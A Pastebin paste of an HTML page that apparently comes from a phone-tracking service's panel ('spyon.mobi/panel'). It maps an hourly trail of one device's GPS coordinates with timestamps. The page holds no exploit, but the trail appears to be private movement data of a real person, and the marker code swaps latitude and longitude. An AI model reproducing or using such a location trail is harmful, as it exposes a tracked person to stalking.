Advertisement
Guest User

Untitled

a guest
Jan 29th, 2015
218
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.50 KB | None | 0 0
  1. <!DOCTYPE HTML>
  2. <html>
  3.  
  4. <head>
  5. <meta name="viewport" content="width=device-width; initial-scale = 1.0; maximum-scale=1.0; user-scalable=no">
  6. <meta https-equiv="content-type" content="text/html; charset=utf-8">
  7. <meta name="GENERATOR" content="CodeCharge Studio 5.1.1.18990">
  8.  
  9. <script src="https://spyon.mobi/panel/js/jquery/jquery.js"></script>
  10. <script type="text/javascript" src="https://maps.google.com/maps/api/js?sensor=true"></script>
  11. <link rel="stylesheet" type="text/css" class="ui" href="https://spyon.mobi/panel/js-map/map.css">
  12. <script src="https://spyon.mobi/panel//js-map/gmaps.js"></script>
  13. <script src="https://spyon.mobi/panel//js-map/markerclusterer.js"></script>
  14.  
  15.  
  16. <script>
  17.  
  18. console.log('step 1');
  19. $(window).load(function() {
  20.  
  21. var locations = [
  22. ["39.1837062", "21.4662555", "2015/01/29 # 12:38:27 PM"],
  23. ["39.183709", "21.4662764", "2015/01/29 # 01:38:24 PM"],
  24. ["39.1837666", "21.4662601", "2015/01/29 # 02:38:19 PM"],
  25. ["39.18220651", "21.61570498", "2015/01/29 # 03:38:40 PM"],
  26. ["39.1793239", "21.6163681", "2015/01/29 # 04:38:39 PM"],
  27. ["39.1793691", "21.6163489", "2015/01/29 # 05:38:20 PM"],
  28. ["39.1793078", "21.6164045", "2015/01/29 # 06:38:41 PM"],
  29. ["39.1793144", "21.6163995", "2015/01/29 # 07:39:00 PM"],
  30. ["39.1796632", "21.6164461", "2015/01/29 # 08:38:18 PM"],
  31. ["39.12715688", "21.57486313", "2015/01/29 # 09:39:24 PM"],
  32. ["39.1277835", "21.5731795", "2015/01/29 # 10:38:37 PM"],
  33. ["39.18871969", "21.57539617", "2015/01/29 # 11:38:22 PM"],
  34. ["39.1796632", "21.6164461", "2015/01/30 # 12:38:32 AM"]
  35. ];
  36. console.log(locations);
  37. var bound = new google.maps.LatLngBounds();
  38. console.log('step 3');
  39. if (locations.length > 0) {
  40. for (i = 0; i < locations.length; i++) {
  41. bound.extend(new google.maps.LatLng(locations[i][0], locations[i][1]));
  42. }
  43. console.log('step 4');
  44. console.log(bound.getCenter());
  45. var latlong = bound.getCenter();
  46. map = new GMaps({
  47. div: '#map',
  48. lat: latlong['B'],
  49. lng: latlong['k'],
  50. width: '100%',
  51. height: '600px',
  52. zoom: 12,
  53. zoomControl: true,
  54. markerClusterer: function(map) {
  55. return new MarkerClusterer(map, [], {
  56. gridSize: 15
  57. });
  58. }
  59. });
  60. console.log('step 5');
  61. for (var i = 0; i < locations.length; i++) {
  62. map.addMarker({
  63. lat: locations[i][1],
  64. lng: locations[i][0],
  65. title: locations[i][2],
  66. infoWindow: {
  67. content: '<center><p class="gmap_title">'+ locations[i][2] + '</p></center>'
  68. }
  69. });
  70. }
  71. console.log('step 6');
  72. } else {
  73. $('#map').html('<center ><div style="position:relative;top:100px">NO DATA</div></center>');
  74. }
  75. });
  76. </script>
  77.  
  78.  
  79. <div id='map'></div>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement